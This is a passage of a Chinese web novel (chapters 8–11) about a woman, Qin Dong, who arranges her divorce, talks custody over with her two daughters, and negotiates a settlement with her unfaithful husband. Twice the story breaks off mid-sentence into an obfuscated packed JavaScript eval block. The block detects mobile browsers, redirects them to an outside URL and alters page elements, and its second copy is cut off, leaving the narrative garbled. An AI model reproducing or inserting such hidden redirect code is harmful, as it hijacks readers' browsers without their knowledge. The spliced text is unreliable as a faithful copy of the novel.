秦冬也只是想随意走走,但在遇到第三个知名媒人后,她也没了散心兴致,准备回宾馆睡觉。 第四个媒人不知从哪儿冒出来,热络无比的拉住她的手,“小冬啊,我还以为看错了?你现在在县城啊?我也是,我就住梧桐小区,你住哪儿啊?” “我正说回去睡觉。” “也是。”媒人大妈叹口气,“我听说了你的事儿。哎,咱也别灰心。老话说的好,三条腿的蛤蟆不好找,两条腿的男人到处是!你长的好,年纪也不大,再找个更好的分分钟的事儿。以后日子差不了!你这面相一看就有福!” 秦冬叹口气,抽回自己的手,“婶子,我特别累。我就先走了。” “行。早点休息吧。”媒人大妈显然也没打算立刻就给秦冬说个男人,正当离婚口,心里正难受哪。离婚时都这样,过些天找个好的就能精神起来。 媒人大妈把自己刚特意买的冰镇绿豆汤塞秦冬手里,“拿着喝!” “我不渴。” “哪儿能不渴。刚我远远看见吴大菊拉着你聒噪好久,拿着喝吧,可不许跟婶子见外,婶子特意给你买的。” 被强塞了一杯绿豆汤,饶是秦冬也不禁感慨:这世上消息最灵通的人一定非媒人莫属。 夜风徐徐,路灯似明似暗,晚上营业的商家透出或忙碌或闲散的灯光,归家的车辆来来往往。路两旁的小区里亮起点点灯光,秦冬驻足看了一会儿,才继续提着绿豆汤往订的宾馆走去。【..top】 8、第八章 一大早上,冯春就被手机铃声响醒,他迷迷糊糊的从床头摸起手机,见是陌生号码,还是接起来,“爸,你起床没!快点起床,过来接我和小涵去妈妈那儿!” “铮啊!”冯春叹口气,看一看时间,“还早啊。” “哪儿早了。我练了一趟拳,看一小时书了。小涵也把星期天作业都写完了。你现在起床,穿衣服洗脸梳头十分钟,不要吃早饭,直接开车回家。我昨天跟妈妈说好了,今天早上要一起去县城喝豆腐脑吃大饼卷肉,你要愿意,可以跟我们一起。你要不愿意,就随便自己吃点啥。反正你别晚了,半小时后一定到家。” 冯铮一顿吩咐说的又清又脆,冯春知道俩女儿一向作息良好,冬天六点起床,夏天都是五点。他自己完全做不到,心里是很自豪的,连声说,“好好好,马上起马上起。” 结束通话,冯铮闭着眼睛休憩片刻,这才坐起来。 洗脸刮胡子换衣服,从衣柜里拿了件略显风骚的紫色t恤,想想,又放回去,换了件稳重的米白色。 等冯春开车回到家,约摸七点半的样子。 小姐妹俩都收拾好,就等着走了。冯春见她俩,一个红裙子一个黄裙子,冯铮扎了个俐落的单马尾,冯涵是两根麻花辫,相貌都一样白净漂亮。哪怕被冯铮抱怨晚了五分钟,冯春也是笑呵呵地,“机器人也不可能这么准时啊。” “你不是赖床五分钟,就是照镜子臭美了五分钟。”冯铮指挥妹妹,“小涵,拿着你的包,走啦。” 冯涵立刻跑回房间拿出自己乳白镶米黄边儿的小背包,冯母从东配间出来,“我跟你们一起去。”昨晚对两个孩子游说,被冯铮三句话险把肺顶出来。冯母决定还是亲自出马。 冯铮问,“你去干嘛?” “我去劝劝你妈呀。” 冯铮翻个白眼,冯春头疼,“妈你就别添乱了。我们一家四口好好说说话。这就走了。” 冯春接过冯涵的小背包,招呼俩闺女,“快上车。咱们赶紧走,别让你们妈妈等急了。”没再理睬母亲,俩闺女上车后,冯春直接开车走人。 空留冯母在原地跳脚大骂,骂冯春不知好歹。 倒是冯父劝她一句,“人一家子去县城逛逛,什么话不好说,偏你去凑那个热闹。” “我这不是不放心么。” “有啥不放心的?冯春也是三十几的人了。随他去吧!” “不是你的累!”冯母怒怼丈夫,“这一离婚,俩孩子怎么着,难道都给小冬带走?都这么大了,我可舍不得。要是一人一个,好好的姐儿俩,从小在一块儿,从此就得分开。我一想到这儿,我这心就跟刀割似的!” 冯父想到俩孩子也是难受,眼中泪光闪过。重重叹口气,早饭没吃,地里去了。 * 冯春先去宾馆接秦冬,冯铮路上就给妈妈打了电话,他们到时,秦冬已经在前台等了。见着孩子非常高兴,立刻快步出去,俯身抱住奔向自己的孩子。秦冬摸摸这个,再摸摸那个,亲亲这个,再亲亲那个,拉着孩子们的手一起坐后排。在孩子们的强烈要求下,妈妈坐中间,小姐儿俩一边儿一个,一人搂着妈妈的一条胳膊。冯涵还要把头枕在妈妈怀里。 冯铮吐槽她,“你干脆坐妈妈怀里好了。” “我也这么想。”冯涵说着,就真坐妈妈怀里了。 冯铮瞪她两下,冯涵已经拿自己的小脸儿蹭妈妈,一个劲儿说,“妈妈,我好想你,你想我没?” “想。想你也想你姐姐。”秦冬右手搂着在怀里撒娇的小女儿,左手摸摸大女儿的脸,冯铮也把头靠在妈妈肩上。 冯春从后视镜看到这一幕,也不禁露出笑意,开车往早餐店去。 * 北方早餐一直有喝豆腐脑的传统,这家豆腐脑早餐店也算是平安县最有名的喝豆腐脑的地方了,其知名度之广,在现在算是个网红店,平时还有远地方的人特意开车来尝。 除了豆腐脑,这家店的最有名的就是烙大饼,以及各种卤肉,驴肉、猪头肉、猪耳朵、香肠,味道都很好。 冯春去买早餐,秦冬带着孩子们找空下来的桌子。早上人多,看到空桌要立刻占住,不然很快就会有其他人来。 服务员草草收拾了前桌人吃剩的碗筷残羹,秦冬拿出湿巾把桌子又擦了两遍,再用纸巾收一遍,就很干净整齐了。 这时冯春端着刚出锅热腾腾的大饼卤肉过来,豆腐脑太烫,服务员会送过来。 秦冬喜欢驴肉,冯春冯铮更爱猪头肉,冯涵要吃脆脆的猪耳朵和拆出来的贴骨肉,卤肉边儿上还有一小堆新切的,冒着清香,解腻的嫩绿青椒丝。 服务员很快端来豆腐脑,俩人都是先照顾孩子,把豆腐脑往桌里头放,浇头凉一点儿再喝。 冯春是县城名人,跟他打招呼的人非常多,认识秦冬的也不少,或者有人此时心思微妙,不过,大家都是成年人,都是简单寒暄几句,各自忙去。 其实,以前一家人也常来。这一次,冯春却隐隐有些怀念的感觉。他似不经意的瞟一下在微笑看两个女儿的秦冬,哎,小冬有些瘦了。 冯铮吃了两个卷肉,冯涵小些,吃了一个半。倒是冯春秦冬都吃的不多。等孩子们喝完豆腐脑,把剩下的大饼卤肉打包,一家人回到车上,秦冬同冯春说,“你送我们到宾馆,我跟孩子们说说话。你有事可以先忙,离婚的事下午我跟你谈。” 秦冬的神色很平静,语气也没有愤恨,就像在谈论一件很平常的事。他顿了顿,闲着的一只手也握上方向盘,“我也没别的事。这大热天,你们先去宾馆休息,午饭我安排。” 沉默一会儿含糊说了句,“那啥不急。” * 秦冬住的是县城很普通的宾馆,以前刚结婚没啥钱时,出门在外也常住这样的小宾馆。配置比连锁宾馆要差些,卫生也一般。打开房门,说一声窗明几净绝不为过。 这是秦冬的风格,只要她住过的地方,那就得干干净净的。 小县城地方大,房子便宜,所以宾馆房间也绝对比一线城市寸土寸金的宽敞很多。冯涵问,“妈妈,你现在住这里吗?” “是啊。”秦冬把女儿的背包挂在衣帽架上,“得住一段时间。” 房间有淡淡有洗衣液或者香皂的气息,伴着空调冷风,很清爽。进门时,冯铮就发现了,这间房的房门都比其他的要干净。冯铮四下一打量,“这么整洁,一看就是妈妈的房间。” 冯涵一直拉着妈妈的手,“有妈妈的味道。” 秦冬对冯春说,“你去吧。” 冯春说,“那我先走了。中午再来接你们。” 秦冬点点头,冯春就先离开了,不忘帮母女三人带好门。 “妈妈,我好想你。”冯涵又腻歪在妈妈身上。 秦冬单手搂住小女儿,“今天不能去课外班,有跟老师请假吗?” 冯涵像小猫般用脸蹭妈妈的胳膊,“姐姐昨天打电话跟老师讲过了。” 冯铮说妹妹,“你能不能不要总撒娇。有正事哪!” “我哪儿撒娇了。”冯涵紧紧贴着妈妈,一点儿不承认自己在撒娇。 冯铮懒得理她,一指宾馆的双人床,“妈妈,你跟小涵坐床上。咱们商量商量。”她自己搬椅子坐床边,正对着妈妈。 “妈,你是怎么打算的,跟我说说。” 秦冬说,“我不想让你们姐妹分开,如果你们想跟着我,我想在省会买套房,咱们的户口都迁过去,以后你们在省会读书,教育环境好,我也能陪着你们。” 顿了顿,秦冬说,“你们要是想跟着你们爸爸,我也没意见。我会定期回来看你们,离婚前我会跟冯春谈好,会保障你们的生活,不会让你们吃亏。如果你跟着他受苦受委屈,我是绝不会放过他的。” “你们呢,想跟着妈妈,还是想跟着爸爸?”秦冬冷静这几日,也想听听孩子们的意见。 冯涵年纪小,没啥主意,她抱着妈妈的一只胳膊,紧紧的贴着妈妈。冯铮说,“妈,你应该去大城市看看。” 她神情严肃,“我早想过了。你要带着我们,第一要考虑的就是定居转学读书的事儿,在省会是不错的选择,离的不远,环境比较熟悉,省内转学籍也容易。可这一定居,起码就是十来年的事儿。 你一个人带着我跟小涵,不只是读书的事儿。平时要是我俩谁有个头疼脑热的,你一个人,去医院都没人帮衬。咱们可以请人,可是家里请人,多一人就多一重麻烦。 更重要的是,带着我俩,你的时间是固定死的。早上五六点起床,七点半送我俩上学,下午四点钟放学。你没有完整的时间做自己的事。 要是我跟小涵年纪还小,你带着我们是对的。孩子在小时候需要妈妈的抚养陪伴,现在我俩都懂事了,也不会轻易被人欺负。 我是想你去大城市看看,或者去风景好的地方走一走,等你调整好了,安顿下来。你再回来接我跟小涵。不一定非得是咱们老家的省会,是一个你很喜欢,你觉着很好的地方。 妈妈,如果你有特别喜欢的事情,你就去做。我跟小涵已经长大了,不用你每天寸步不离的陪着。” 谁说付出没有回报的?秦冬强忍着眼泪不要掉下来:在这一刻,她才真真切切觉着自己三十几年的人生没有白活。 别过脸,秦冬悄悄擦掉眼泪,看向贴着自己的小女儿,“涵涵,你是怎么想的?” 冯涵黑白分明的大眼睛看着妈妈,想了想,说话又软又慢,“早上我写作业的时候,奶奶悄悄叮嘱我,让我跟妈妈说,让妈妈回家。奶奶还给了我一百块钱。我觉着,姐姐比奶奶更聪明更爱妈妈,我站姐姐这边。” 冯铮真受不了妹妹,总是爱来爱去的。到底怎么才能这么自然的把爱挂在嘴边儿啊,她就说不出来。 秦冬想,我不后悔。哪怕冯春背叛婚姻,可只要看到这俩孩子,她就不后悔。【..top】 9.第九章 以往,学习以外的事,秦冬是不大跟孩子们说的。 如今她要离开,这些事孩子们就要尽早参与了。小涵是妹妹,年纪小;小铮是姐姐,聪明有主见。既然孩子们支持她出去看看,秦冬把心里的另一件事说出来,“原本想着,今年暑假后小铮你升四年级,小涵升二年级,是想把你们转去市小学的。咱们市里有房子,离学校很近,走着就能去上学。你们放学去兴趣班也方便,每天都能去。 你们爷爷奶奶倒是能跟你们去市里,只是他俩谁都不会开车,送你们去兴趣班是个问题。我想,请个司机。” 冯铮同意,“这样好。爷爷奶奶都不会开车,出门有个司机也方便。” 冯铮不反对去市小学读书,不过,她有自己的要求,“原本我是想,以后是我、小涵和爷爷奶奶在老家。我有言在先,我们跟爷爷奶奶单独住一套房,我可不跟姓赵的一起住。” “当然得单独住。”秦冬道,“我也不会让你们跟她一起住的。这些我都会安排好。我不会让赵莹踏进你们房子一步。” “接下来是最重要的事。”秦冬拍拍小女儿的背,“小涵你也要记住,要背下来,背的熟熟的。” 冯涵顺着妈妈的力量挺直脊背,保证说,“我背书可快了。听一遍就能记住。妈妈你只管说。” 秦冬对两个女儿道,“我跟你们爸爸离婚后,他很快会跟赵莹再婚。有几件事,你们要牢牢记住,第一,任何时候,不要单独跟赵莹待在同一个房间。我打个比方,没有爷爷奶奶在身边,就不要见她。她的亲人也一样。” 冯铮听到赵莹的名字就一肚子火,直接说,“我跟小涵同爷爷奶奶一起住,才不会见她。” “如果有必需见面的情况,就要遵守这个原则。”秦冬说,“赵家人品不好,不要与他们多接近。不得不见面时,不能落单。” “我知道。”冯铮叮嘱妹妹,“小涵你也要记住。如果没有我,或者爷爷、奶奶在你身边,不要跟那个女人在一个屋子里。” 冯涵认真点头,“记住了。” “第二件事。你们爸爸很快有新的孩子,听赵莹说怀的是个儿子,也就是说你们马上就会有同父异母的弟弟。这个孩子同你们是有血缘关系的,只是,他妈妈是一个没有道德没有羞耻的人。 你们不是一个妈妈的孩子,本身就有隔阂。没感情是正常的。也不用讨厌他,当是陌生人就好。平时少来往。你们专注自己的学习,自己的生活,把自己的事儿管好,做好,这就行了。” 冯铮神色愤恨,“我看我爸我爷爷我奶奶想儿子想孙子都快想疯了!” 冯涵忧郁的看着妈妈。对于这件事,秦冬已经冷静下来了,“有人喜欢儿子,有人就喜欢女儿。妈妈最喜欢你们。生了涵涵后,很多人劝我再生个三胎,给你们生个弟弟。 可妈妈觉着俩女儿就很好,我有俩孩子就够了。女儿、儿子对我来说是一样的。妈妈是这么想的,也是这么做的。 这就叫知行合一。” 冯涵又把脸扎进妈妈怀里,她说,“妈妈,我也爱你。比爱爸爸更爱你。我最爱你。” 冯涵还特别体贴,补一句,“我姐姐也是。” 冯铮傲娇的翘翘下巴,就是这样。 秦冬拍拍小女儿背,摸摸大女儿脸,“妈妈也是,这世上,妈妈最爱你们。” “别人喜欢谁,咱们管不着。这世上有像你们爸爸、爷爷、奶奶这样重男轻女的人,也有像妈妈这样儿女一样看待的人。 这是社会现实。等你们长大,会接触到更多这样的事。” 秦冬说,“感情是相互的。他们给你们多少,你们就给他们多少。他们给你们的少,你们给他们也要少。” “妈妈之前犯了很大的错,你们姥姥姥爷一直很偏心你们舅舅,我并不在意,一直对他们很好,从感情到钱,付出很多。可在妈妈最难的时候,他们并没有帮助我,而是说了很多羞辱我的话,把我从他们家里撵走。 他们完全不记得以前妈妈是怎么对他们的。” 秦冬已经想清楚这个问题,“因为他们自始至终就认为,妈妈不是重要的人。妈妈越是不计较,对他们越好,他们不会认为这是妈妈自身的品格好,反而认为妈妈是个可以随便欺负的人。” 冯铮忍不住道,“我早说过姥姥、姥爷不可靠。” “我之前是愚孝吧。”秦冬自嘲。 “哪里是愚孝,是妈妈你人太好了。”冯铮纠正妈妈,“这世上的人,大部分都欺软怕硬,不懂感情。我姥姥、姥爷都一肚子的自私自利,你这一片孝心搁他们身上,纯粹浪费。” “是啊。”秦冬叹口气,整理好低落的心情,“经这次的事,我才算看清楚了。” “所以,你们要引以为戒。”秦冬说,“人都会犯各种错,即使遇到了也没啥,最坏也就是像妈妈这样吃个大亏。这也没啥,好在我明白过来了。我以后不会犯这样的错了。” 冯铮心说,老天给了我妈一堆烂好心,倒也给了她一点乐观精神。 冯涵非常支持妈妈,“妈妈说的对。” 冯铮默默补一句:还有个马屁精冯涵。 “还有一件事。”秦冬对两个孩子说,“你爸爸再婚后,一定会有很多不怀好意的人跟你们说,你们爸爸有儿子,以后家产都是儿子的。或者是爷爷奶奶更喜欢孙子,你们是没人要的小孩儿,类似的话。” 冯铮撇嘴,“当我跟小涵多稀罕似的。” “说的对!”秦冬说,“历史上有所作为的人,一定是追逐理想的人,而不是追逐金钱的人。钱很重要,人要活着,没钱不行。但是,也不要把钱看的过于重。 有很多东西,是钱买不到的。 我希望你们为理想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599891|205123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而活,而不是为金钱。” 冯铮问,“妈妈,你的理想是什么?” “我小时候就是随波逐流的读书,跟你们爸爸很早就恋爱了。我的理想就是夫妻俩好好过日子,生两个可爱的孩子,一家子和和美美的。” “那你的理想失败了啊。” 秦冬温柔的注视着两个孩子,“并不全是失败。我只是没想到你们爸爸会背叛我们的家,可看到你们,我觉着我也有成功的地方。” “妈,你再想个新的理想吧?” “我也这么想的。” “妈,是不是因为你总在家陪着我们,没空跟我爸一起工作,才叫姓赵的钻了空子。”冯铮把心中的疑问说了出来。 “这是什么傻念头。”秦冬摸摸大女儿的头,随口举了个不容辩驳的例子,“周总理经常出国访问,全球出差,一生只爱一人。历史上有的是伟大的大人物,都对婚姻特别忠诚!” “人品烂就是人品烂,跟其他人其他事一点关系都没有!” 冯铮也觉着是这个道理,“我也这样想。一个人要是人品不好,心里有了别的算盘,那是无论如何都会变心的。” “而且,妈妈不是没上过班。”秦冬说,“我上大专时星期六星期天都会去做兼职,寒暑假也都会打工挣生活费。后来结婚,在县医院上过一年班。你爸最初拍视频,也是一起商量着写脚本,我抽空给他做剪辑配乐,后来赚到钱了,我产期也近了,才辞的职。 公司成立第三年,我生了涵涵,才请的剪辑师和会计。你爸可能觉着都是他的功劳,钱都是他赚的。我虽然学习成绩也一般,当年考的也是公立大专,你爸分数太低,只能每年花好几万学费去读私立大专。相当于花钱买了张文凭。” 离婚在即,秦冬才不会说冯春的好话。她也不会污蔑冯春,她说的都是实话,“养孩子是父母的职责。父母拼命挣钱,不就是为了把日子过好,把孩子教导好吗?” “再说,我天生就喜欢孩子,我也喜欢带孩子。” 秦冬想到以前孩子们小的时候,都会感到幸福,“你们小时候可香了,又香又软,像个小香包一样。” 冯涵忙说,“妈妈,我现在也是香香的,不信你闻闻。”举着雪白的小胳膊给妈妈闻。 秦冬立刻闻一下,“果然很香。”也凑到大女儿发丝闻一下,“姐姐也很香!” 冯涵高兴的笑出声,冯铮说,“那是因为早上洗脸后擦了宝宝霜。” 秦冬坚信,“女孩子天生就是香香的。” 冯涵,“是的。我不擦宝宝霜也是香香的。” 冯铮还想给她俩解释一□□香的科学原理,看妈妈和妹妹都一副笃定自己香香的模样,也不禁笑了。 秦冬喜欢看孩子们开心的模样,她继续说,“还有最后一件。不论谁说啥,成年前都不要拍视频当网红。” 10.第十章 秦冬并不是对网红有偏见。 她耐心的同两个孩子说,“咱们家就是做网红起来的,网红并没什么不好的地方。你们小时候,你们爸爸就提过把你们拍进视频的事儿。 我想了好几天,还是没同意。 小铮你打小就特别聪明,教你认字,一遍就会。背诗也背的很快。孩子小时候是培养专注力的黄金期,这个时期应该读书、识字、上学、交朋友、上自己感兴趣的兴趣班,发现自己的喜好,建立理想。” “等后来有了小涵,小涵也像小铮你一样聪明,学东西也很快。我就想,上天给我这么聪明的孩子,我一定得好好教,把你们教好。” 冯涵听到妈妈说她和姐姐一样聪明,非常开心,又蹭着妈妈撒了个娇。 秦冬说,“你们爸爸就是网红,粉丝上千万,你们以后想做网红,随时可以做。但是,像这种跟同龄人一起上幼儿园、读小学、初中、高中、大学的时光,就这十几年。错过就不会再有了。” “妈妈你放心吧,我跟小涵都不会拍的。”冯铮的理论很简单,“我是绝不会让爸爸从我跟小涵身上赚走一分钱的!” 主要冯铮对做网红没啥兴趣,她更喜欢读书和练拳击。 啥网红不网红的,她要长的又高又壮,先梆梆一顿老拳把她爸揍倒,再梆梆一顿把姓赵的揍一顿,再梆梆梆两顿把她姥姥、姥爷揍个鼻青脸肿,这些人就啥道理都懂了。 等中午冯春过来接母女三人时,三人神色都好,母女三个有说有笑的。 “什么事这么高兴。”冯春笑着问一句。 冯涵骄傲的说,“妈妈夸我记性好。”刚刚妈妈让她把妈妈说过的重要的事重复一遍,她全都说对了,妈妈就表扬她了。 冯春顺着女儿夸一句,“涵涵的确很聪明。”他跟秦冬说,“前儿我遇着涵涵班主任,还跟我夸涵涵成绩好哪。” 见爸爸和班主任老师也夸奖自己,冯涵就更开心了。冯铮说她,“不许骄傲,知道不?小学课本很简单,考班第一一点儿都不难。你得加把劲考个县第一。” 冯涵说,“我觉着考班里第一也很好。” “你得有点上进心。” “上进心是啥?爸爸,中午我要吃油焖大虾。” “好好。” 冯铮对妹妹不大满意,就知道吃。 冯春在天风大酒店定的包间,这是县城最好的酒店,冯春是常客,大堂经理都格外热情。两人都是先让孩子点,孩子们大都喜欢酸酸甜甜的口味,除了油焖大虾就是糖醋里脊、菠萝咕咾肉这些。 然后,冯春添了个红烧鱼,秦冬加了道爽口的凉拌菜。 饭店上菜很快,冯涵咬一口炸的酥脆的大虾,满意的眯起眼睛,“我奶奶现在见天就是茄子豆角,豆角茄子,让她做个油焖大虾她都不会。” “地里的菜吃不完,奶奶怕浪费。”冯铮说,“我爷爷见天坐家门口送菜,南来北往的,见谁给谁一把。” 冯涵说,“爷爷去年也这样。我都劝他少种些菜,他不听。” 冯春,“你爷爷喜欢种菜。” 冯铮说,“幸好咱们市里的房子有院子,不然爷爷搬过来,没地方种菜,他该觉着无聊了。” 冯春没明白,“怎么爷爷要搬市里来啊?” 秦冬说,“之前不是商量好的,今年期末考后就给俩孩子转学到市里来。你忘了?” “没忘没忘。”冯春想起来了,“我找人打听过了。户口迁过去,直接就能去读。校长问了问成绩,小铮小涵成绩都好,我把成绩单给校长看,校长一看就笑了,没一个不字。” 冯春看秦冬一眼,没在饭桌上问秦冬的打算。 秦冬跟两个孩子说,“市里上兴趣班更方便,喜欢什么就去试试。” 冯涵马上说,“我要再学一个画画。” “很好啊。”秦冬说,“涵涵你又喜欢唱歌又喜欢画画。” “嗯。我也喜欢跟姐姐打拳击。”冯涵夹块自己喜欢的糖醋排骨,“我要做一个文武双全的人。” 秦冬说,“等下次妈妈给你做衣服,就选个素色的料子,到时涵涵你在上面画画,等你画好了,妈妈再裁片,做出来就是你独一无二的衣服。” “好啊好啊。” 秦冬又问大女儿,“小铮你有喜欢的兴趣班么?” “太多了,一时还没想好。” “没事儿,慢慢想。” 吃完饭,俩孩子有午睡习惯。冯春跟秦冬商量,“咱们先回家吧,让孩子睡一会儿。” 秦冬没再反对,只是她不想给自己添恶心,给冯春递个眼神。冯春微微摇头,现在想起那晚的事,他都觉着自己昏了头。 别墅请了家政大姐定期搞卫生,以前秦冬都是星期六星期天带着孩子们过来。窗外的蔷薇开的热烈,屋子里都染上清甜柔润的香气。 秦冬从衣柜拿出枕头和夏天的清凉被,让孩子们睡觉。 冯涵一定要妈妈守着她,跟她一起睡。冯铮拍拍大床中间的位置,“妈妈,你躺中间。” 秦冬上床陪孩子们,冯涵要枕着妈妈的胳膊,冯铮比较喜欢搂着妈妈的胳膊睡。 原本想等孩子们睡了,就去跟冯春谈离婚的事。她好几天没见孩子,这会儿看着孩子们花苞般可爱的小脸儿,嘀嘀咕咕说话的声音,秦冬也慢慢的阖上眼睛,不知何时睡了过去。 一觉醒来两点多。 孩子们均匀的呼吸像是甜蜜的麻醉剂,秦冬留恋的躺了一会儿,才轻轻的把胳膊大女儿的怀里抽出来,再一手抬着小女儿的头,把酸麻的另一条手臂抢救出来。 她轻手轻脚离开房间,冯春正躺在客厅的长沙发上睡着。秦冬叫醒他,自己去洗手间洗把脸,俩人一前一后去了书房。 冯春拿了两瓶茉莉花茶,先拧开盖子递给秦冬一瓶。秦冬接了,直接说,“我跟孩子们商量过了,我也不想俩孩子分开,孩子们暂时跟着你,你愿意吗?” “这没问题。” 秦冬道,“我答应离婚,财产一人一半。我不要公司股份,公司的生意债务,都与我无干。短视频账号完全归你。我要两亿,现金。” 刚拧开自己那瓶花茶饮料的冯春听到这个数字,手一抖,茶水洒了一些出来,沾湿了手指。冯春瞪大眼睛,几乎是惊愕的看向秦冬。 秦冬回视着他,很平静的问,“我不能要两亿?” “不是。”冯春知道自己一定要和平体面的结束和秦冬的婚姻,他们起家正赶上短视频的黄金期。账号最开始是夫妻俩一起做的,秦冬没空时,他自己拍。秦冬有空时,秦冬拿着手机给他拍。秦冬做过大量的后期剪辑的工作,后来为了报税,秦冬还考了会计证。 这些事过了十来年了,可如果查,一定有证据。 而且,秦冬不是婚姻过错方。 按法律规定,秦冬就该拿一半。在冯春心里,秦冬的确是跟他一起白手起家的人。刚拍短视频的时候,干这个的少,村里人爱看热闹,爱说刻薄话,就是父母都说,让他干点正事,找个班儿上。 是秦冬一直鼓励他,喜欢拍就继续拍,反正有她在上班,家里没啥大钱,也饿不着。 饮料发粘,冯春抽出纸巾擦着手指,“冬,我不是推托说假话,我现在一时间拿不出这么多钱。” “我没打算让你一次性拿出来。” 见有转寰余地,冯春松口气,“你是怎么打算的?” 秦冬说,“我要给两个孩子买一份大额保险,每个孩子五千万。这份保险不能抵押、不能抵债、不能分割。具体要怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯春低声道,“即使你不出抚养费,你说这些事我也会答应的。” “属于我的责任,我不会有半分推卸。以后,如果我主动要求抚养孩子,你没有任何过错,你要无条件配合我做监护人的变更,我不会向你索取这些钱。” “你打算去哪儿?” “还没想好。” “你把钱都分给孩子们,自己怎么生活呢?” “这不用你管。”秦冬说,“你把孩子们照顾好,就比什么都强。每个星期,必需陪孩子们吃顿饭。” “我会的。” “我的律师费你出。” “行啊。”秦冬总有种突出其来的幽默,冯春扯扯嘴角,却只露出一个扭曲的像哭一样的笑来。是他出轨变心在先,也是他把秦冬逼到离婚的地步,此时不知为何,倒是冯春的眼睛涌出泪水。 秦冬嘲讽他,“不至于喜悦到这种地步吧。” 冯春乱七八糟的擦掉眼泪,他也不知道自己怎么就哭了。此时此刻,他无颜面对秦冬。他一直觉着秦冬刻板,许多事不知变通,眼界也窄,一个上万块的品牌包就能吓着她。但此时此刻,冯春从心底承认,秦冬比他高尚百倍。他扭开脸,哽咽开口,“我对不起你。” “你不仅对不起我,你也对不起两个孩子。你让她们失去了完整的家庭,幸福的童年,让她们小小年纪就要接受父母的分离,我永远都不会原谅你。” “我知道。”冯春倒很有自知知明,他低着头,“我不配让你原谅。” “五千万到账,我们就去法院,你应该打听过,法院诉前调解没冷静期,快的话,当天就能办好。” 11、第十一章 当天傍晚,一起吃过晚饭后,冯春就送两个女儿回家了。 俩孩子都舍不得妈妈,不过,都没说什么。冯涵还紧紧闭着嘴巴,强忍着没哭。她是坐在车上才哭的,冯铮学着妈妈的样子拍拍妹妹的后背,鼓励她,“做的好。涵涵你真坚强,你长大了。” 冯涵眼中憋着两滴泪,边哭边点头。 冯春在后视镜中看到俩孩子,心里也是一层层酸楚漫上来,深深感觉自己对不住女儿。 * 秦冬站在宾馆前,直到车子消失不见,还站了好一会儿,才擦干眼泪回到房间。 她回房间没多久,就有人敲门。秦冬开门一看,是冯军一家。冯军也是冯家村的,跟冯春从小学就是同学,关系非常好。现在是冯春的左膀右臂,两家交好,冯军的妻子林霞也是秦冬的朋友。 林霞一进门就说,“今儿早上我去平安宾馆找你,就扑了个空。冬姐,你真会来,这家宾馆是我大姨家三妹妹的大姑姐开的。干嘛住这儿,你昨儿说想清静呆会儿,我家有现成的空房子,都收拾好了。咱们这就过去。” “我在这儿挺好的。” “好啥啊。溪,给你冬姨收拾东西。”不容秦冬拒绝,林霞刷抖开个大帆布包,直接把桌上床上卫生间里明显不是宾馆的东西一股脑装了进去。她跟冯溪两个动作俐落,秦冬也没什么东西,林霞说,“姐,没东西咱们就走了啊。” 把帆布包递给丈夫,自己跟闺女两人一左一右,扶着秦冬往外走,林霞说,“冬姐,我今天过来接你,不是看春哥,我是看咱俩交情。你要认我这个妹子,就跟我走。” 林霞一向豪爽,跟秦冬关系很好,两家在市里的房子都是买在一处的。到前台,林霞不忘招呼一声,“姐,房我们就退了。明儿再来结账。” “行,没问题。”前台还送了几步。 冯军只负责当司机,一句多余的话没有。县城不大,林霞县城的房子离宾馆不远,开车约摸一刻钟就到了。 林霞把秦冬送上去,钥匙放在进门的玄关柜上,帆布包放客厅沙发上,说,“冬姐,你先住着。客卧一直没人住过,床单被罩被子都是新的,头一回用。东西都全。我先走了,明天我再来。” 说完转身走人,不容秦冬多说一句话。秦冬送她到电梯口,林霞反是劝她,“不管咋样,咱日子得过。我就一句话,我站你。” “好。”秦冬露出些笑意,“天有些晚了。你们路上开车小心些,到家给我发信息。” 林霞应承下来,心下感慨,冬姐啥时都这样细致体贴。md,冯春不做人,真是有钱就烧的不知道姓什么了! 骂冯春的同时,林霞也在心里顺道把秦家人骂了一番。冬姐正难的时候,娘家竟然把冬姐骂走了!一家人沾了冬姐多大的光,自己心里没数还是怎地! 要不说人不能太好,人善被人欺啊! * 直到坐进车里,林霞叮嘱丈夫,“你打听着些,要是真离,你跟春哥说,总得好聚好散才好。” “不用你说我也知道。”闺女年纪小,也在车上。冯军没多说。 等回到家,让闺女去睡了。冯军才跟妻子说,“我没少跟春哥说,可什么话说多也招人烦。赵莹怀了个儿子。” 林霞眼睛一亮,“那肯定急着上位!正好让冬姐趁机多要钱!” 冯军说,“春哥也是看不开,闺女儿子还不一样。咱私下说,这不是一个娘生的,两窝孩子能有感情么。” “有个屁的感情!”林霞倒两杯水,递一杯给丈夫,“孩子培养好了,一个顶十个。孩子要是废物,生一百个也是废物啊。我看啊,就是这几年给他顺的!” “春哥这几年做啥成啥,大家都说他不忘本,每年开那么多场助农直播,推广咱们当地的水蜜桃、甜瓜、大棚蔬菜。捐钱做公益。有钱也很朴素,一点儿不飘。正蒸蒸日上呢,你说这一出算啥。”林霞摇头,喝口水,“这不塌人设么。” “只要不撕破脸,谁也不会闹到网上去。”冯军说,“明儿你把冬姐的车给她开过去,放小区里,她出门也方便。” “嗯。我也想着这事儿哪。”林霞把冯春、赵莹、秦家轮番问候了一遍,这才恨恨的跟丈夫睡觉。 * 送俩闺女回家,冯春也没再去公司,晚上接到赵莹的电话,他心绪不佳,没说几句话就找由头挂了。 赵莹对着手机轻哼一声,赵母端着碗从厨房出来,见到这一幕,说,“小冯离婚的事,你不要插一句嘴,也不要打听半个字。” “我知道。”赵莹说,“我又不是闲的没事儿干。” 